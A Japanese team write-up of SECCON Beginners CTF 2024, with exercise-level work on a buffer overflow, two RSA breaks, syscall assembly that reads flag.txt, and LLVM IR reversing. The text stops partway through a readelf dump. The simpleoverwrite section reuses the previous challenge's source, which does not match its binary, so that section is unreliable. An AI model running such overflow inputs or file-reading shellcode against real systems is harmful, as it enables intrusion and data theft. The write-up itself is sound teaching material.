SECCON CTF4b 2024 writeup
参加後記
自分は去年のCTF4b2023がCTF競技の初参加で、今回が2回目になります。去年に引き続き、 VRC競プロ部(VRC-procon) のチームにて SECCON Beginners CTF 2024 に参加していました。
CTF とは Catch The Flag (旗取りゲーム)の略で、情報セキュリティ分野では専門知識や技術を駆使して隠された Flag を見つけるというゲームです。
今回の場合、 競技ルール で見つけるべき Flag は以下のような形式がアナウンスされていました。
- フラグのフォーマットは
ctf4b{[\x20-\x7e]+}
です。これと異なる形式を取る問題に関しては、別途問題文等でその旨を明示します。
VRC競プロ部 の Discordサーバー 上で問題毎にスレッドを立てて情報共有、各々で取り組めそうな所を自由に取り組み、並行してボイスチャットもしながら、解決の助けが欲しそうな所があったらお互いにヘルプに入る、という感じで進めていました。
チーム成績は 998ポイント、962チーム中64位でした。チームで解いた問題は13問、そのうち自分が解いた問題、アシストした問題のwriteupをしてみます。
Challenge logs
- Mizar / みざー (VRC-procon) has solved "Welcome" at 21st
- Mizar / みざー (VRC-procon) has solved "simpleoverflow" at 64th
- amenbir (VRC-procon) has solved "Safe Prime" at 59th
- amenbir (VRC-procon) has solved "math" at 15th
- Nachia (VRC-procon) has solved "getRank" at 102nd
- cleantted (VRC-procon) has solved "assemble" at 40th
- cleantted (VRC-procon) has solved "clamre" at 46th
- Mizar / みざー (VRC-procon) has solved "cha-ll-enge" at 126th
- cleantted (VRC-procon) has solved "wooorker" at 64th
- cleantted (VRC-procon) has solved "ssrforlfi" at 50th
- mamu_soba (VRC-procon) has solved "simpleoverwrite" at 247th
- mamu_soba (VRC-procon) has solved "pure-and-easy" at 77th
- cleantted (VRC-procon) has solved "wooorker2" at 101st
CHALLENGE | CATEGORY | RANK | DATE |
---|---|---|---|
Welcome | welcome | 21 | 2024-06-15T05:00:41.208Z |
simpleoverflow | pwnable | 64 | 2024-06-15T05:09:59.345Z |
Safe Prime | crypto | 59 | 2024-06-15T05:58:08.032Z |
math | crypto | 15 | 2024-06-15T06:33:27.705Z |
getRank | misc | 102 | 2024-06-15T08:02:52.578Z |
assemble | reversing | 40 | 2024-06-15T08:09:40.907Z |
clamre | misc | 46 | 2024-06-15T09:47:45.319Z |
cha-ll-enge | reversing | 126 | 2024-06-15T09:54:50.867Z |
wooorker | web | 64 | 2024-06-15T11:27:18.42Z |
ssrforlfi | web | 50 | 2024-06-15T17:50:34.904Z |
simpleoverwrite | pwnable | 247 | 2024-06-16T01:05:17.89Z |
pure-and-easy | pwnable | 77 | 2024-06-16T02:06:41.957Z |
wooorker2 | web | 101 | 2024-06-16T04:17:59.131Z |
welcome/Welcome
SECCON Beginners CTF の公式Discordサーバーにおける競技開始アナウンス内に解答が含まれているので、それを提出するだけです。
hi120ki — 2024/06/15 14:00
@everyone 📣 SECCON Beginners CTF 2024 開始 📣SECCON Beginners CTF 2024 を開始します!
https://score.beginners.seccon.jp/
(注: 競技開始後、スコアサーバにアクセスする際はページのリロードをお願いいたします。)問題 Welcome のフラグは
ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}
です。
ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}
pwnable/simpleoverflow
Cでは、0がFalse、それ以外がTrueとして扱われます。
nc simpleoverflow.beginners.seccon.games 9000
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[10] = {0};
int is_admin = 0;
printf("name:");
read(0, buf, 0x10);
printf("Hello, %s\n", buf);
if (!is_admin) {
puts("You are not admin. bye");
} else {
system("/bin/cat ./flag.txt");
}
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
CTFの問題文によく登場するコマンド nc
は netcat
の略称で、例えば WSL Ubuntu 24.04 LTS 環境では netcat-openbsd
パッケージが標準でインストールされています。
$ dpkg -l | grep netcat
ii netcat-openbsd 1.226-1ubuntu2 amd64 TCP/IP swiss army knife
入力文字列バッファが10文字分しかないので、このバッファを溢れさせて隣の is_admin
変数を非ゼロにできれば攻撃成功です。
$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaaa
Hello, aaaaaaaaaaaa
ctf4b{0n_y0ur_m4rk}
ctf4b{0n_y0ur_m4rk}
crypto/Safe Prime
Using a safe prime makes RSA secure, doesn't it?
import os
from Crypto.Util.number import getPrime, isPrime
FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')
while True:
p = getPrime(512)
q = 2 * p + 1
if isPrime(q):
break
n = p * q
e = 65537
c = pow(m, e, n)
print(f"{n = }")
print(f"{c = }")
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
RSAで文字列の暗号化を試みているようですが、何と
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
e = 65537
# 二分探索
pmin, pmax = 1, n
while True:
p = ((pmin + pmax) >> 1) | 1 # p は奇数
q = p * 2 + 1
if p * q == n:
break
if p * q < n:
pmin = p
else:
pmax = p
a = pow(e, -1, p * q - p - q + 1)
x = pow(c, a, n)
print(bytes.fromhex(hex(x)[2:]).decode())
ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}
crypto/math
RSA暗号に用いられる変数に特徴的な条件があるようですね...?
from Crypto.Util.number import bytes_to_long, isPrime
from secret import (
x,
p,
q,
) # x, p, q are secret values, please derive them from the provided other values.
import gmpy2
def is_square(n: int):
return gmpy2.isqrt(n) ** 2 == n
assert isPrime(p)
assert isPrime(q)
assert p != q
a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)
n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)
print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")
# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289
import gmpy2
p = # REDUCTED
q = # REDUCTED
x = # REDUCTED
clews of factors
の所を見るとその素因数すら示されています。
の writeup を基に、コード化した実行環境を作る復習をしてみました。
ここでは、数式処理システム SageMath (Python ベースで、 PARI/GP や Maxima など複数のオープンソースな数式処理系を統合して動かせる環境) を使ってみます。
特に、多項式の整数解を求めたい時などに使える 「環」 PolynomialRing
を先の writeup 記事で初めて知ったので、使いこなせるようになりたいなと思います。
SageMath は Windows/Linux向けにインストール可能な他、 Docker 環境などでも利用することもできます。使いこなせれば CTF 競技の crypto 系の問題を解くのによく活躍しているイメージです。依存するツールが多く、インストールしようとする時は必要なファイルサイズが大きすぎて驚くかもしれませんが(例えば Docker イメージの場合、 Compressed Size が 1GB 、展開後イメージは 3GB を超えます)。
Google Colab (要 Google アカウント) の上で SageMath を利用してみた結果はこのような感じです。 SageMath のインストールに掛かる時間が実行時間のほぼ全てです。
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289
a_fact = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
b_fact = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661
abr = ab // ((a_fact * b_fact) ** 2) # 31666659779223213 ** 2
abrf = list(factor(abr)) # [(3, 2), (173, 2), (199, 2), (306606827773, 2)]
PR.<x> = PolynomialRing(ZZ)
for mask in range(1 << len(abrf)):
a, b = a_fact ** 2, b_fact ** 2
for i, (fp, fe) in enumerate(abrf):
if ((mask >> i) & 1):
a *= fp ** fe
else:
b *= fp ** fe
for fp, fe in ((a + x) * (b + x) - n).roots():
xx = fp ** fe
if is_square(xx):
p, q = a + xx, b + xx
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(cipher, d, n)
print(bytes.fromhex(hex(m)[2:]).decode())
ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}
reversing/assemble
Intel記法のアセンブリ言語を書いて、
flag.txt
ファイルの中身を取得してみよう!
https://assemble.beginners.seccon.games/
mov
, push
, syscall
のみの命令を使って、指定された処理を25命令以下で実装します。
Linuxシステムコールには、例えば以下のようなものがあり、これらを駆使して戦うことになります。
%rax | System call | %rdi | %rsi | %rdx |
---|---|---|---|---|
0 | sys_read | unsigned int fd | char *buf | size_t count |
1 | sys_write | unsigned int fd | const char *buf | size_t count |
2 | sys_open | const char *filename | int flags | int mode |
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ より抜粋
Challenge 1. Please write 0x123 to RAX!
- Only mov, push, syscall instructions can be used.
- The number of instructions should be less than 25.
mov rax, 0x123
Congratulation! Let's proceed to the next stage!
Challenge 2. Please write 0x123 to RAX and push it on stack!
- Only mov, push, syscall instructions can be used.
- The number of instructions should be less than 25.
mov rax, 0x123
push rax
Congratulation! Let's proceed to the next stage!
Challenge 3. Please use syscall to print Hello on stdout!
- Only mov, push, syscall instructions can be used.
- The number of instructions should be less than 25.
ここからは、システムコールの出番です。
文字列 Hello
をリトルエンディアンでエンコード 0x6F6C6C6548
して、スタック領域に push
で転送してから、 sys_write
システムコールを呼び出し、標準出力(ファイルディスクリプタ1番)に内容を書き出します。
mov rax, 1
mov rdi, 1
mov rdx, 5
mov rbx, 0x6F6C6C6548
push rbx
mov rsi, rsp
syscall
Hello
Congratulation! Let's proceed to the next stage!
Challenge 4. Please read flag.txt file and print it to stdout!
- Only mov, push, syscall instructions can be used.
- The number of instructions should be less than 25.
次は3種類のシステムコールを使います。
- ファイル
flag.txt
をsys_open
システムコールで開く(ファイルディスクリプタが3番である事がレジスタraxに返される)- ファイル名は NULL文字 で終端されている必要があるため、8文字のファイル名の後に NULL文字 で終端される事が見えるように、予め 0 のbyte列を
push
しています。
- ファイル名は NULL文字 で終端されている必要があるため、8文字のファイル名の後に NULL文字 で終端される事が見えるように、予め 0 のbyte列を
- 開いたファイル(ファイルディスクリプタ3番)から
sys_read
システムコールで読み込む - 読み込んだ内容を
sys_write
システムコールで標準出力(ファイルディスクリプタ1番)に書き出す
自分たちは、このファイル名を指定する際のNULL文字の扱いを間違えてしまっていたので、 sys_read
システムコールで起きるエラーの原因解明に苦戦していましたが、何とか気づいた事で解くことができました。
mov rbx, 0
push rbx
mov rbx, 0x7478742e67616c66
push rbx
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall
mov rdi, rax
mov rax, 0
mov rsi, rsp
mov rdx, 52
syscall
mov rax, 1
mov rdi, 1
mov rdx, 52
syscall
ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}
Congratulation! You have completed all stages!
reversing/cha-ll-enge
見たことがない形式のファイルだけど、中身を見れば何かわかるかも...?
LLVM IR出力されたコードを読み解いて、どういう処理をしているかを追う問題。
ChatGPTに試しに C言語 への翻訳を依頼してみました。
以下は、与えられたLLVMコードをC言語に翻訳したものです。
このコードは、与えられたLLVMコードのロジックをC言語に翻訳したものです。以下の点に注意しています:
key 配列は定数として宣言しています。
prompt、format、correct_message、incorrect_messageは文字列リテラルとして宣言しています。
メインのロジックでは、入力された文字列の長さが49であるかをチェックし、各文字に対して2回のXOR演算を行います。
XOR結果が0であるかを確認し、正しい文字の数をカウントします。
すべての文字が正しい場合、正解メッセージを表示し、そうでない場合は不正解メッセージを表示します。
#include <stdio.h>
#include <string.h>
const int key[50] = {
119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85,
56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84,
39, 66, 44, 27, 122, 77, 36, 20, 122, 7
};
const char *prompt = "Input FLAG : ";
const char *format = "%s";
const char *correct_message = "Correct! FLAG is %s.\n";
const char *incorrect_message = "Incorrect FLAG.";
int main() {
char input[70];
int xor_result[50];
int correct_count = 0;
long i;
printf("%s", prompt);
scanf(format, input);
if (strlen(input) == 49) {
for (i = 0; i < 49; i++) {
int input_char = (int)input[i];
int xor1 = input_char ^ key[i];
int xor2 = xor1 ^ key[i + 1];
xor_result[i] = xor2;
if (xor_result[i] == 0) {
correct_count++;
}
}
if (correct_count == 49) {
printf(correct_message, input);
return 0;
}
}
puts(incorrect_message);
return 1;
}
若干ややこしい検査をしているようですが、要するに、配列の隣同士の値を xor
演算するとフラッグの文字列となるようです。Python を用いてデコードしてみました。
key = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85,
56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84,
39, 66, 44, 27, 122, 77, 36, 20, 122, 7]
r = bytes(key[i] ^ key[i + 1] for i in range(49))
print(r.decode())
ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}
pwnable/simpleoverwrite
スタックとリターンアドレスを確認しましょう
nc simpleoverwrite.beginners.seccon.games 9001
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[10] = {0};
int is_admin = 0;
printf("name:");
read(0, buf, 0x10);
printf("Hello, %s\n", buf);
if (!is_admin) {
puts("You are not admin. bye");
} else {
system("/bin/cat ./flag.txt");
}
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(120);
}
chall
という実行ファイルとそのソースコード src.c
が与えられています。
とりあえず、実行ファイルの内容を見てみます。
LANG=C readelf -a ./chall > readelf.txt
LANG=C objdump -M intel -D ./chall > objdump.txt
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x4010a0
Start of program headers: 64 (bytes into file)
Start of section headers: 14304 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 13
Size of section headers: 64 (bytes)
Number of section headers: 30
Section header string table index: 29
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .interp PROGBITS 0000000000400318 00000318
000000000000001c 0000000000000000 A 0 0 1
[ 2] .note.gnu.pr[...] NOTE 0000000000400338 00000338
0000000000000020 0000000000000000 A 0 0 8
[ 3] .note.gnu.bu[...] NOTE 0000000000400358 00000358
0000000000000024 0000000000000000 A 0 0 4
[ 4] .note.ABI-tag NOTE 000000000040037c 0000037c
0000000000000020 0000000000000000 A 0 0 4
[ 5] .gnu.hash GNU_HASH 00000000004003a0 000003a0
0000000000000028 0000000000000000 A 6 0 8
[ 6] .dynsym DYNSYM 00000000004003c8 000003c8
0000000000000120 0000000000000018 A 7 1 8
[ 7] .dynstr STRTAB 00000000004004e8 000004e8
000000000000007b 0000000000000000 A 0 0 1
[ 8] .gnu.version VERSYM 0000000000400564 00000564
0000000000000018 0000000000000002 A 6 0 2
[ 9] .gnu.version_r VERNEED 0000000000400580 00000580
0000000000000030 0000000000000000 A 7 1 8
[10] .rela.dyn RELA 00000000004005b0 000005b0
0000000000000060 0000000000000018 A 6 0 8
[11] .rela.plt RELA 0000000000400610 00000610
00000000000000a8 0000000000000018 AI 6 23 8
[12] .init PROGBITS 0000000000401000 00001000
000000000000001b 0000000000000000 AX 0 0 4
[13] .plt PROGBITS 0000000000401020 00001020
0000000000000080 0000000000000010 AX 0 0 16
[14] .text PROGBITS 00000000004010a0 000010a0
0000000000000200 0000000000000000 AX 0 0 16
[15] .fini PROGBITS 00000000004012a0 000012a0
000000000000000d 0000000000000000 AX 0 0 4
[16] .rodata PROGBITS 0000000000402000 00002000
0000000000000035 0000000000000000 A 0 0 4
[17] .eh_frame_hdr PROGBITS 0000000000402038 00002038
000000000000003c 0000000000000000 A 0 0 4
[18] .eh_frame PROGBITS 0000000000402078 00002078
00000000000000cc 0000000000000000 A 0 0 8
[19] .init_array INIT_ARRAY 0000000000403df0 00002df0
0000000000000010 0000000000000008 WA 0 0 8
[20] .fini_array FINI_ARRAY 0000000000403e00 00002e00
0000000000000008 0000000000000008 WA 0 0 8
[21] .dynamic DYNAMIC 0000000000403e08 00002e08
00000000000001d0 0000000000000010 WA 7 0 8
[22] .got PROGBITS 0000000000403fd8 00002fd8
0000000000000010 0000000000000008 WA 0 0 8
[23] .got.plt PROGBITS 0000000000403fe8 00002fe8
0000000000000050 0000000000000008 WA 0 0 8
[24] .data PROGBITS 0000000000404038 00003038
0000000000000010 0000000000000000 WA 0 0 8
[25] .bss NOBITS 0000000000404050 00003048
0000000000000020 0000000000000000 WA 0 0 16
[26] .comment PROGBITS 0000000000000000 00003048
0000000000000026 0000000000000001 MS 0 0 1
[27] .symtab SYMTAB 0000000000000000 00003070
0000000000000420 0000000000000018 28 18 8
[28] .strtab STRTAB 0000000000000000 00003490
0000000000000236 0000000000000000 0 0 1
[29] .shstrtab STRTAB 0000000000000000 000036c6
0000000000000116 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
D (mbind), l (large), p (processor specific)
There are no section groups in this file.
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000400040 0x0000000000400040
0x00000000000002d8 0x00000000000002d8 R 0x8
INTERP 0x0000000000000318 0x0000000000400318 0x0000000000400318
0x000000000000001c 0x000000000000001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x00000000000006b8 0x00000000000006b8 R 0x1000
LOAD 0x0000000000001000 0x0000000000401000 0x0000000000401000
0x00000000000002ad 0x00000000000002ad R E 0x1000
LOAD 0x0000000000002000 0x0000000000402000 0x0000000000402000
0x0000000000000144 0x0000000000000144 R 0x1000
LOAD 0x0000000000002df0 0x0000000000403df0 0x0000000000403df0
0x0000000000000258 0x0000000000000280 RW 0x1000
DYNAMIC 0x0000000000002e08 0x0000000000403e08 0x0000000000403e08
0x00000000000001d0 0x00000000000001d0 RW 0x8
NOTE 0x0000000000000338 0x0000000000400338 0x0000000000400338
0x0000000000000020 0x0000000000000020 R 0x8
NOTE 0x0000000000000358 0x0000000000400358 0x0000000000400358
0x0000000000000044 0x0000000000000044 R 0x4
GNU_PROPERTY 0x0000000000000338 0x0000000000400338 0x0000000000400338
0x0000000000000020 0x0000000000000020 R 0x8
GNU_EH_FRAME 0x0000000000002038 0x0000000000402038 0x0000000000402038
0x000000000000003c 0x000000000000003c R 0x4
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 0x10
GNU_RELRO 0x0000000000002df0 0x0000000000403df0 0x0000000000403df0
0x0000000000000210 0x0000000000000210 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt
03 .init .plt .text .fini
04 .rodata .eh_frame_hdr .eh_frame
05 .init_array .fini_array .dynamic .got .got.plt .data .bss
06 .dynamic
07 .note.gnu.property
08 .note.gnu.build-id .note.ABI-tag
09 .note.gnu.property
10 .eh_frame_hdr
11
12 .init_array .fini_array .dynamic .got
Dynamic section at offset 0x2e08 contains 24 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x000000000000000c (INIT) 0x401000
0x000000000000000d (FINI) 0x4012a0
0x0000000000000019 (INIT_ARRAY) 0x403df0
0x000000000000001b (INIT_ARRAYSZ) 16 (bytes)
0x000000000000001a (FINI_ARRAY) 0x403e00
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x4003a0
0x0000000000000005 (STRTAB) 0x4004e8
0x0000000000000006 (SYMTAB) 0x4003c8
0x000000000000000a (STRSZ) 123 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x403fe8
0x0000000000000002 (PLTRELSZ) 168 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0x400610
0x0000000000000007 (RELA) 0x4005b0
0x0000000000000008 (RELASZ) 96 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000006ffffffe (VERNEED) 0x400580
0x000000006fffffff (VERNEEDNUM) 1
0x000000006ffffff0 (VERSYM) 0x400564
0x0000000000000000 (NULL) 0x0
Relocation section '.rela.dyn' at offset 0x5b0 contains 4 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000403fd8 000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
000000403fe0 000700000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000404050 000a00000005 R_X86_64_COPY 0000000000404050 stdout@GLIBC_2.2.5 + 0
000000404060 000b00000005 R_X86_64_COPY 0000000000404060 stdin@GLIBC_2.2.5 + 0
Relocation section '.rela.plt' at offset 0x610 contains 7 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000404000 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000404008 000300000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000404010 000400000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0
000000404018 000500000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
000000404020 000600000007 R_X86_64_JUMP_SLO 0000000000000000 fgets@GLIBC_2.2.5 + 0
000000404028 000800000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf@GLIBC_2.2.5 + 0
000000404030 000900000007 R_X86_64_JUMP_SLO 0000000000000000 fopen@GLIBC_2.2.5 + 0
No processor specific unwind information to decode
Symbol table '.dynsym' contains 12 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (3)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [...]@GLIBC_2.2.5 (3)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND alarm@GLIBC_2.2.5 (3)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5 (3)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fgets@GLIBC_2.2.5 (3)
7: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND [...]@GLIBC_2.2.5 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fopen@GLIBC_2.2.5 (3)
10: 0000000000404050 8 OBJECT GLOBAL DEFAULT 25 [...]@GLIBC_2.2.5 (3)
11: 0000000000404060 8 OBJECT GLOBAL DEFAULT 25 stdin@GLIBC_2.2.5 (3)
Symbol table '.symtab' contains 44 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FILE LOCAL DEFAULT ABS crt1.o
2: 000000000040037c 32 OBJECT LOCAL DEFAULT 4 __abi_tag
3: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
4: 00000000004010e0 0 FUNC LOCAL DEFAULT 14 deregister_tm_clones
5: 0000000000401110 0 FUNC LOCAL DEFAULT 14 register_tm_clones
6: 0000000000401150 0 FUNC LOCAL DEFAULT 14 __do_global_dtors_aux
7: 0000000000404068 1 OBJECT LOCAL DEFAULT 25 completed.0
8: 0000000000403e00 0 OBJECT LOCAL DEFAULT 20 __do_global_dtor[...]
9: 0000000000401180 0 FUNC LOCAL DEFAULT 14 frame_dummy
10: 0000000000403df0 0 OBJECT LOCAL DEFAULT 19 __frame_dummy_in[...]
11: 0000000000000000 0 FILE LOCAL DEFAULT ABS src.c
12: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
13: 0000000000402140 0 OBJECT LOCAL DEFAULT 18 __FRAME_END__
14: 0000000000000000 0 FILE LOCAL DEFAULT ABS
15: 0000000000403e08 0 OBJECT LOCAL DEFAULT 21 _DYNAMIC
16: 0000000000402038 0 NOTYPE LOCAL DEFAULT 17 __GNU_EH_FRAME_HDR
17: 0000000000403fe8 0 OBJECT LOCAL DEFAULT 23 _GLOBAL_OFFSET_TABLE_
18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_mai[...]
19: 0000000000404050 8 OBJECT GLOBAL DEFAULT 25 stdout@GLIBC_2.2.5
20: 0000000000404038 0 NOTYPE WEAK DEFAULT 24 data_start
21: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5
22: 0000000000404060 8 OBJECT GLOBAL DEFAULT 25 stdin@GLIBC_2.2.5
23: 0000000000404048 0 NOTYPE GLOBAL DEFAULT 24 _edata
24: 00000000004012a0 0 FUNC GLOBAL HIDDEN 15 _fini
25: 0000000000000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.2.5
26: 0000000000000000 0 FUNC GLOBAL DEFAULT UND alarm@GLIBC_2.2.5
27: 0000000000000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.2.5
28: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fgets@GLIBC_2.2.5
29: 0000000000404038 0 NOTYPE GLOBAL DEFAULT 24 __data_start
30: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
31: 0000000000404040 0 OBJECT GLOBAL HIDDEN 24 __dso_handle
32: 0000000000402000 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used
33: 0000000000401253 77 FUNC GLOBAL DEFAULT 14 init
34: 0000000000401186 73 FUNC GLOBAL DEFAULT 14 win
35: 0000000000404070 0 NOTYPE GLOBAL DEFAULT 25 _end
